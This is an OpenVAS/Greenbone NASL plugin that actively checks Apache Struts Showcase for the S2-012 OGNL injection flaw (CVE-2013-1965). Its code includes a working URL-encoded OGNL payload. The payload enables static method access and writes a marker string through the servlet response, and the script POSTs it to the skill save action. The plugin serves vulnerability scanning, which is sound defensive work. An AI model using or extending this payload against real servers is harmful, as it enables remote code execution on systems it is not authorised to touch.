Apache Struts Security Update (S2-012) - Active Check

# Copyright (C) 2012 Greenbone Networks GmbH
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.

CPE = "cpe:/a:apache:struts";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.902924");
  script_version("2022-04-27T12:01:52+0000");
  script_cve_id("CVE-2013-1965");
  script_tag(name:"cvss_base", value:"9.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:C/I:C/A:C");
  script_tag(name:"last_modification", value:"2022-04-27 12:01:52 +0000 (Wed, 27 Apr 2022)");
  script_tag(name:"creation_date", value:"2012-08-31 11:47:31 +0530 (Fri, 31 Aug 2012)");
  script_name("Apache Struts Security Update (S2-012) - Active Check");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2012 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_dependencies("gb_apache_struts_consolidation.nasl");
  script_require_ports("Services/www", 8080);
  script_mandatory_keys("apache/struts/http/detected");

  script_xref(name:"URL", value:"http://www.securityfocus.com/archive/1/523956");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/55165");
  script_xref(name:"URL", value:"http://packetstormsecurity.org/files/115770/struts2-exec.txt");
  script_xref(name:"URL", value:"http://exploitsdownload.com/exploit/na/apache-struts2-remote-code-execution");
  script_xref(name:"URL", value:"https://cwiki.apache.org/confluence/display/WW/S2-012");
  script_xref(name:"Advisory-ID", value:"S2-012");
  script_xref(name:"URL", value:"https://cwiki.apache.org/confluence/display/WW/S2-058");
  script_xref(name:"Advisory-ID", value:"S2-058");

  script_tag(name:"summary", value:"Apache Struts is prone to a java method execution
  vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP POST request and checks the response.");

  script_tag(name:"insight", value:"The flaw is due to an improper validation of user data passed to
  the 'skillName' parameter in 'edit' and 'save' actions.");

  script_tag(name:"impact", value:"Successful exploitation could allow an attacker to execute
  arbitrary java method. Further that results to disclose environment variables or cause a denial of
  service or an arbitrary OS command can be executed.");

  script_tag(name:"affected", value:"Apache Struts (Showcase) 2.3.14.2 and prior.");

  script_tag(name:"solution", value:"Update to version 2.3.14.3 or later.");

  script_tag(name:"qod_type", value:"remote_vul");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

dir += "/struts2-showcase";

useragent = http_get_user_agent();
host = http_host_name(port:port);

url = dir + "/showcase.action";
if(!http_vuln_check(port:port, url:url, pattern:">Showcase</", extra_check:">Struts Showcase<", check_header:TRUE, usecache:TRUE))
  exit(0);

postdata = "currentSkill.name=%25%7B%28%23_memberAccess%5B%27allowStatic" +
           "MethodAccess%27%5D%3Dtrue%29%28%23context%5B%27xwork.MethodA" +
           "ccessor.denyMethodExecution%27%5D%3Dfalse%29%28%23tmp%3D%40o" +
           "rg.apache.struts2.ServletActionContext%40getResponse%28%29.g" +
           "etWriter%28%29%2C%23tmp.println%28%27RCEWorked%27%29%2C%23tm" +
           "p.close%28%29%29%7D&currentSkill.description=";

url = dir + "/skill/save.action";

req = string("POST ", url," HTTP/1.1\r\n",
             "Host: ", host, "\r\n",
             "User-Agent: ", useragent, "\r\n",
             "Content-Type: application/x-www-form-urlencoded\r\n",
             "Content-Length: ", strlen(postdata), "\r\n",
             "\r\n", postdata);
res = http_keepalive_send_recv(port:port, data:req);

if(res && res =~ "^HTTP/1\.[0-9] 200" && "RCEWorked" >< res) {
  report = http_report_vuln_url(port:port, url:url);
  security_message(port:port, data:report);
  exit(0);
}

exit(99);